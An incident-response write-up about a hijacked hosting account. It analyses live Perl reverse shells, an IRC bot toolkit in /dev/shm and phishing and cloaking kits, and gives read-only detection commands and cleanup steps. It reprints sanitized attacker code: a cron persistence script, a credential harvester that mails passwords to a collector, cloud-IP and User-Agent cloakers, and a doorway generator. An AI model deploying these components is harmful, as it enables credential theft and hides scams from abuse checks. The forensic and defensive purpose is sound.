Skip to content
Back to Articles

One Hosting Account, a Whole Scam Operation: Phishing Kits, Cloakers, Doorways and a /dev/shm Reverse Shell

Share:

The abuse complaints did not name one website. They named several, all on the same hosting account. The account held a couple of dozen small Joomla sites: local businesses, associations, a news portal or two. Each one looked normal from its homepage, and each Joomla database turned out to be clean. The malware was not in Joomla at all.

Instead, someone had used the account as free infrastructure. Over a few weeks they had built a small scam operation inside its folders: phishing kits, redirect cloakers that hide from security crawlers, 2,000 doorway pages, and a hidden IRC bot toolkit in shared memory. While the account was being inspected, Perl reverse shells were still connected out from it, running under a fake system process name. This article walks through each piece, shows how to find it by hand with read-only commands, and gives a cleanup order that keeps the real sites online.

🗺️ What was on the account

  • Live access: four processes named /usr/sbin/afk, which were really Perl reverse shells, plus interactive sh -i children.
  • A hidden toolkit in /dev/shm/.d/: an IRC bot with its config, launcher and self-installing cron.
  • Two phishing kits in a korea/ folder on two different sites, plus a ko.tgz archive next to each so the kit could be unpacked again.
  • Two cloaking redirect kits that send victims to a scam page, block whole cloud IP ranges, and log every visitor.
  • Two User-Agent cloakers that show search engines one destination and people another.
  • 2,000 doorway folders on one site, each holding a one-line meta-refresh redirect.
  • 63 zero-byte PHP stubs such as s123.php.gif and thumbnail_x.png?.php, left over from earlier upload probing.

No Joomla core file, extension or database row was modified. That is why a check of each CMS on its own showed nothing: the CMS was only the neighbour.

🐚 The process that called itself afk

A process list for the account user showed this:

$ ps -u siteuser -o pid,ppid,lstart,args
    PID    PPID                  STARTED COMMAND
2934647       1 Fri Nov 20 10:31:58 2026 /usr/sbin/afk
2970543       1 Fri Nov 20 10:40:30 2026 /usr/sbin/afk
2970549 2970543 Fri Nov 20 10:40:30 2026 /bin/sh -i
3373624       1 Fri Nov 20 12:27:18 2026 /usr/sbin/afk
3373627 3373624 Fri Nov 20 12:27:18 2026 /bin/sh -i

There is no /usr/sbin/afk on a normal Linux server, and a hosting user cannot write to /usr/sbin anyway. The name is only the process title. Perl lets a script set its own $0, so any script can appear as a system binary in ps. The kernel cannot be fooled the same way, because /proc/<pid>/exe always points to the real binary:

$ readlink /proc/2970543/exe
/usr/bin/perl
$ readlink /proc/2970543/cwd
/home/siteuser/example-site.tld/tmp
$ ls -l /proc/2970543/fd | head -4
lrwx------ 1 siteuser siteuser 64 0 -> socket:[998452442]
lrwx------ 1 siteuser siteuser 64 1 -> socket:[998452442]
lrwx------ 1 siteuser siteuser 64 2 -> socket:[998452442]

That gives three red flags at once: the claimed name and the real executable differ, the working directory is a website's tmp/ folder, and stdin, stdout and stderr are all the same network socket. That last one is what a reverse shell looks like: the remote side types into the socket and reads the output back. The socket table confirmed it. Each shell held a connection to a remote host on port 80, and all four Perl processes shared a second connection to another host on port 443:

$ ss -tnp | grep -E 'afk|"sh"'
ESTAB 0 0 192.0.2.10:53794 203.0.113.50:80   users:(("sh",pid=2970549,fd=0),("/usr/sbin/afk",pid=2970543,fd=10))
ESTAB 0 0 192.0.2.10:39726 198.51.100.25:443 users:(("/usr/sbin/afk",pid=3373624,fd=3),("/usr/sbin/afk",pid=2970543,fd=3))

The Perl script had already deleted itself from disk, which is common. The process keeps running from memory. Record everything in /proc before you kill it, because afterwards that information is gone.

🤖 The IRC toolkit in /dev/shm

/dev/shm is a RAM-backed folder that every user can write to. Files there never touch the disk and disappear on reboot, so attackers like it for tools that should leave few traces. A dot-folder makes it invisible to a plain ls:

$ ls -la /dev/shm/.d/
-rwxr-xr-x 1 siteuser siteuser     309 Nov  8 15:17 autorun
-rwxr-xr-x 1 siteuser siteuser     912 Nov 13 20:46 cfg
-rwxr-xr-x 1 siteuser siteuser 3587651 Nov  8 15:40 check
-rwxr-xr-x 1 siteuser siteuser 4544836 Nov  8 15:34 crond
-rwxr-xr-x 1 siteuser siteuser      15 Oct 25 11:52 dir
-rwxr-xr-x 1 siteuser siteuser   15125 Feb 20  2016 h32
-rwxr-xr-x 1 siteuser siteuser  838583 Feb 20  2016 h64
-rwxr-xr-x 1 siteuser siteuser 4544836 Nov  8 15:34 lb32
-rwxr-xr-x 1 siteuser siteuser 4544836 Nov  8 15:34 lb64
-rwxr-xr-x 1 siteuser siteuser     511 Oct 25 11:58 run

The small text files explain how the kit works. autorun installs itself into the user's crontab and writes a watchdog called update:

#!/bin/sh
pwd > dir
dir=$(cat dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron
crontab cron
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/.pid; then
pid=\$(cat $dir/.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update
./check

Every minute, cron runs update. If the bot's PID is still alive, it exits. If not, it starts run again. kill -CHLD is a harmless signal, so here it only tests whether the process exists. Note that crontab cron replaces the whole crontab, which also wipes the site owner's own jobs.

run picks the right binary for the CPU and starts it under a name that blends in:

#!/bin/bash
ARCH=`uname -m`
HIDE="crond"
PID_FILE="bash.pid"
if [ "$ARCH" == "x86_64" ]; then
    cp lb64 "$HIDE" 2>/dev/null
    chmod +x "$HIDE"
    ./"$HIDE" &
    sleep 0.5
    PID=$(pgrep -x "$HIDE" | head -1)
    echo $PID > $PID_FILE
fi

So the bot shows up in ps as crond, the name of the real cron daemon. cfg is a classic IRC bot configuration: a channel, a list of servers on a public IRC network, and two bot identities with random nicknames and a ! command prefix (sanitized):

CHANNEL #xxxx
SERVER4 irc.example.net 6667
SERVER6 irc6.example.net 6667
######## bot 1 ########
IDENT orchid
REALNAME Forever listening to the clouds
NICKNAMES ... (13 random nicknames)
CMDCHAR !

lb32, lb64 and crond are the same packed static binary (identical hashes). check is a separate Go binary, and h32/h64 are much older static helpers with 2016 timestamps. When the account was inspected, the crontab no longer had the update line and the bot itself was not running. The live access at that point was the Perl shells. The toolkit was still sitting in memory, ready to be started again with one command.

On hosts that give each user a private /tmp and /dev/shm, the root user's view of /dev/shm may look empty. Check what the account user itself sees (run the listing as that user), and check the per-user tmp location your platform uses. In this case the same .d folder existed in both places.

🎣 The phishing kits

Two sites had a korea/ folder with a ready-made credential phishing kit: lure pages in Korean, a "please wait" page with a spinner video, and several small PHP harvesters. The core of each harvester is only a few lines. It takes the posted email and password and mails them out through SMTP using PHPMailer (sanitized):

$email    = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';
$ip       = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$mail = new PHPMailer(true);
$mail->isSMTP();
$mail->Host     = 'mail.compromised-sender.example';
$mail->Username = 'info@compromised-sender.example';
$mail->addAddress('collector@example.com');
$mail->Subject  = 'MAIL ' . $email;
$mail->Body     = "Email: $email\nParola: $password\nIP: $ip\nData: " . date('Y-m-d H:i:s');
$mail->send();
header("Location: loading.html");

Two details stand out. The code comments are in Romanian while the lures are in Korean, which suggests a kit bought or shared between groups and pointed at a new audience. And the mail goes out through another compromised mailbox, not through the hosting account, so the host's outgoing mail logs show nothing unusual.

After a "successful login", loading.html waits ten seconds and then sends the victim on to code.html, a second page that asks for a one-time code. The kit was not only collecting passwords. It was collecting what it needed to get past two-factor login too.

Next to each korea/ folder sat a ko.tgz. That is the redeploy copy: if someone deletes the folder but leaves the archive, the attacker only needs one tar xf to be back. Always look for archives next to a kit.

🙈 A redirect that hides from security crawlers

Two other sites had a small folder with four files: .htaccess, index.php, invalid.php and bautrack.css. The .htaccess does two things:

RewriteEngine on
RewriteRule ^((?<!results=).*/?.*)$ invalid.php [L]

Order Allow,Deny
Deny from 3.
Deny from 13.
Deny from 18.
Deny from 20.
Deny from 34.
Deny from 40.
Deny from 51.
Deny from 52.
Deny from 54.
Deny from 205.
Allow from all

First, every request in the folder is rewritten to invalid.php. Second, whole first-octet ranges are refused with a 403. Those prefixes cover a large share of the big cloud providers' address space, which is where most URL scanners, link checkers and abuse-report robots run from. A person on a home or mobile connection gets the scam. An automated check from a cloud server gets "Forbidden" and has nothing to report.

invalid.php sends the visitor away and keeps a log:

<?php
    header('Location: https://scam.example/landing/');
    $fh = fopen('bautrack.css', 'a');
    fwrite($fh, $_SERVER['REMOTE_ADDR'] . ' ' . date('c') . "\n");
    fclose($fh);
?>

The log is named .css so it looks like a stylesheet in a file listing. Its first lines were dated 2021, years before this account was touched. The kit had been copied from an older campaign with its old visitor log still inside. index.php is a decoy: a page titled "Account Suspended" with the text "Suspended due to phishing / scam, please contact your hosting provider". Anyone who opens the file directly thinks the host has already dealt with it.

🎭 Different answers for bots and people

A third folder type held a single 381-byte index.php. It reads the User-Agent and sends search engine crawlers to a big, harmless brand site, and everyone else to the scam:

<?php
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$boti = ['Yeti', 'Googlebot', 'bingbot', 'Baiduspider', 'YandexBot', 'AhrefsBot'];
$esteBot = false;
foreach ($boti as $bot) {
    if (stripos($ua, $bot) !== false) { $esteBot = true; break; }
}
if ($esteBot) { header('Location: https://harmless-brand.example', true, 302); }
else { header('Location: https://scam.example/landing/', true, 302); }
exit;

Search engines see a redirect to a well-known site and do not flag the URL. The link can then be spread by email or SMS for as long as the hosting account stays up. The variable names ($boti, $esteBot) are Romanian again.

🚪 2,000 doorways built in shell loops

One site had 2,000 new folders in four families of 500, each named a random string plus a number. Every folder held a one-line index.html:

<meta http-equiv="refresh" content="0; url=https://other-hacked-site.example/russ/" />

The target was a folder on another compromised website. Chaining hacked sites like this means each one only holds a redirect, and the actual scam page can move without touching the doorways. They were created with a small script left in the docroot as a .txt file and run with bash:

for i in {1..500}; do
  mkdir -p "mama$i"
  echo "<meta http-equiv=\"refresh\" content=\"0; url=https://other-hacked-site.example/russ/\" />" > "mama$i/index.html"
done

The account's own .bash_history showed the same style of work for the other kits: download a file with wget, rename tt.txt to index.php, unpack an archive, and copy a folder 500 times with for i in $(seq 1 500); do cp -r red "red$i"; done. Shell history is easy to clear, so when it is still there, read it. It tells you exactly which folders to look at.

🔎 Manual detection (read-only)

All of the commands below only read. Replace siteuser with the account name and run the file checks from the account's home folder. Run the process checks as root, or as the user for that user's own processes.

# 1. Process name vs real executable, working dir, start time
for p in $(pgrep -u siteuser); do
  printf '%s | %s | exe=%s | cwd=%s\n' "$p" "$(tr '\0' ' ' < /proc/$p/cmdline)" \
    "$(readlink /proc/$p/exe)" "$(readlink /proc/$p/cwd)"
done
# Red flags: a /usr/sbin or kernel-looking name whose exe is perl/python/php,
# exe ending in "(deleted)", cwd inside a website folder.

# 2. Outbound connections owned by the user
ss -tnpe | grep "uid:$(id -u siteuser)"

# 3. Hidden folders and executables in RAM/temp locations
ls -la /dev/shm /tmp /var/tmp
find /dev/shm /tmp /var/tmp -user siteuser \( -name '.*' -o -perm -u+x \) -printf '%T+ %s %p\n' 2>/dev/null

# 4. IRC bot configs
grep -rlE '^(SERVER[46]?|CHANNEL|NICKNAMES|CMDCHAR) ' /dev/shm /tmp /var/tmp 2>/dev/null

# 5. Crontab and shell history
crontab -l -u siteuser
grep -nE 'wget|curl|tar x|seq 1|for i in|bash [a-z0-9.]+$' ~siteuser/.bash_history
# 6. .htaccess files with long Deny lists (cloaking)
find ~ -name .htaccess -print0 | while IFS= read -r -d '' f; do
  n=$(grep -c '^Deny from' "$f"); [ "$n" -gt 8 ] && echo "$n $f"
done

# 7. Small PHP redirectors and User-Agent cloakers
find ~ -name '*.php' -size -2k -print0 | xargs -0 grep -l "header *( *['\"]Location" 2>/dev/null \
  | xargs -r grep -lE 'HTTP_USER_AGENT|REMOTE_ADDR'

# 8. Credential harvesters
grep -rlE "\\\$_POST\[['\"](email|password|pass)['\"]\]" ~ --include='*.php' 2>/dev/null \
  | xargs -r grep -liE 'phpmailer|smtp|mail *\('

# 9. Meta-refresh doorways, counted per parent folder
find ~ -maxdepth 4 -name index.html -size -300c -print0 \
  | xargs -0 grep -l 'http-equiv="refresh"' 2>/dev/null \
  | sed -E 's#/[^/]+/index\.html$##' | sort | uniq -c | sort -rn | head

# 10. Families of numbered folders (name1 ... name500)
find ~ -mindepth 2 -maxdepth 3 -type d -regextype posix-extended -regex '.*/[a-z]+[0-9]+$' \
  | sed -E 's/[0-9]+$//' | sort | uniq -c | awk '$1 > 50'

# 11. Archives inside web folders, and zero-byte PHP stubs
find ~ -maxdepth 3 -type f \( -name '*.tgz' -o -name '*.tar.gz' -o -name '*.zip' \) -printf '%T+ %s %p\n'
find ~ -type f -size 0 -name '*.php*' -printf '%T+ %p\n'

Do not request a suspicious PHP file over HTTP to "see what it does". A dropper runs on request. Read files with cat or less on the server.

🧹 Manual cleanup order

  1. Copy evidence first. Copy every suspicious file and folder (with cp -a) to a folder outside the web roots, record sha256sum and stat for each, and save the /proc details of every suspicious process. Take a full database dump of every site on the account as a safety net, even if you plan no database changes.
  2. Stop the live access. Kill the fake processes by PID (kill -9 <pid>), shells first and then their parents, and confirm with ps and ss that nothing reconnects.
  3. Remove persistence. Remove any crontab line that points to /dev/shm, /tmp or an update watchdog, then remove the toolkit folder from every tmp location the user can see.
  4. Check references before deleting stubs. Grep .htaccess, .user.ini and php.ini files for auto_prepend_file or rewrites that point at a file you are about to delete, so a site does not start answering 500.
  5. Remove the kits. Delete the phishing folders and their archives, the cloaking folders, the cloaker scripts, the doorway families and their generator script, and the zero-byte stubs.
  6. Verify. Every real site should still return 200, every kit URL should return 404, and a second run of all the detection commands above should come back empty.

📌 Indicators of compromise

  • Process title /usr/sbin/afk with /proc/<pid>/exe → /usr/bin/perl; child /bin/sh -i with fd 0/1/2 on one socket
  • Folder /dev/shm/.d/ containing autorun, cfg, run, check, crond, lb32, lb64, h32, h64, dir; PID file bash.pid; watchdog update
  • Crontab line * * * * * <dir>/update >/dev/null 2>&1
  • Rewrite rule RewriteRule ^((?<!results=).*/?.*)$ invalid.php [L] with many first-octet Deny from lines
  • Files invalid.php + bautrack.css (visitor IP log); decoy index.php titled "Account Suspended"
  • 381-byte User-Agent cloaker using variables $boti / $esteBot
  • Phishing folder korea/ with a.php, ca.php, demo.php, loading.html → code.html, loader.mp4; archive ko.tgz
  • Doorway generator yyy1.txt; families of 500 numbered folders with a one-line meta refresh
  • Zero-byte stubs *.php.gif and thumbnail_*.png?.php
  • SHA-256 autorun: a0e8bc2eec796c5cb0d561a1a2ed4893e448ca8edb2e7e2a93b3ab4362a96c3b
  • SHA-256 cfg: c8f43546220f41a9e8db230a3605e87c6e6549a26af0d78338d1a110232a44c4
  • SHA-256 run: 666abbc62142ee0a4e722dec3494ee4013585af6059f7c96b44b860c6e874b35
  • SHA-256 crond / lb32 / lb64: e99593b2d8141b5bd2606a1cc2763702bd664c7a1ea48c15990cc3055ad5f573
  • SHA-256 check: d07ad6d38d04368e6ecc1bea3ac5d0b5667e6e93b05153a3dd3caa8025da1051
  • SHA-256 User-Agent cloaker index.php: fe23abe696e6b47bf884a4257ab1ce43e762ab6884ce6fbcb8bcf8dcbd09054d

💡 Takeaways

  • A hosting account is more than its CMS. Clean application code and a clean database do not mean a clean account. Look at every folder in the home directory, not just the sites.
  • Process names lie and /proc does not. Compare args with exe for every process the account owns.
  • /dev/shm and /tmp belong on every checklist, as seen by the user, not only as seen by root.
  • Phishing and redirect kits are built to look harmless to automated checks: cloud IP ranges blocked, crawlers sent to a big brand, logs named .css. Test from a normal connection and read the files.
  • Many unrelated sites on one account share one fate. One weak site exposes all of them.

❓ FAQ

Why did the Joomla sites look clean?

Because the kits did not touch Joomla. They were added as separate folders next to the sites and as files in shared memory. Joomla core files, extensions and databases were unchanged, so checking each CMS installation on its own found nothing. Only a review of the whole account showed the extra folders and processes.

How can a hosting user run a process called /usr/sbin/afk?

The name is only a process title. A Perl script can set its own title through $0, so it can appear in ps as any path it likes. The real executable is visible in /proc/<pid>/exe, which pointed to /usr/bin/perl here. A mismatch between the title and the real executable is a strong sign of a disguised process.

Why block IP ranges like 3., 13., 52. and 54.?

Those first octets cover a large part of the big cloud providers' address space, where most automated URL scanners and abuse checkers run. Blocking them returns 403 to automated checks while real visitors on home and mobile connections still reach the scam page, so the link stays alive longer.

Is deleting the kit folders enough?

No. Kill the live processes first, remove any crontab watchdog and the toolkit in /dev/shm and /tmp, and delete the .tgz archives left next to the kits, or the attacker can unpack everything again in seconds. Then run the detection commands a second time and confirm every real site still returns 200.